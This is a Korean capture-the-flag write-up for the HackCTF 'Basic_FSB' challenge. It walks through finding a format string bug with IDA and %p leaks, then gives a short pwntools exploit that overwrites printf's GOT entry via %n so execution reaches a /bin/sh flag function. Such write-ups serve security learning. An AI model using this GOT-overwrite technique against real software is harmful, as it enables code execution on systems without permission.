HACKCTF - Basic_FSB

 

문제화면

문제 제목을 보면 FSB인것을 알 수 있으니 먼저 좁혀두고 가면 편할것이다.

 

 

실행화면

 

실행하면 평범하게 입력값을 출력해준다.

IDA로 실행해보면

 

main 함수

 

vuln 함수

 

전형적인 FSB문제 형식의 코드로 보인다

%p를 활용해서 주소를 출력해보면

 

FSB 취약점 실행모습

 

첫번째 인자는 건너뛰고 2번째부터 시작되는것을 볼 수 있다.

 

flag함수

 

또한 flag함수를 보면 /bin/sh 가 있으니 궁극적으로 이곳으로 리턴을 보내면 해결될 것이라는 것도 확인할 수 있다.

 

따라서 우리는 vuln함수의 printf(&format); 이 부분에서 printf.got 을 리턴으로 덮어주면 되니까

 

from pwn import * 
 
r = remote("ctf.j0n9hyun.xyz", 3002)
context.log_level = 'debug'
e = ELF("./basic_fsb")
 
payload = ""
payload += p32(e.got["printf"])
payload += "%134514096x%n"
 
log.info(r.recv())
 
r.sendline(payload)
 
r.interactive()

 

exploit

익스 성공장면입니다.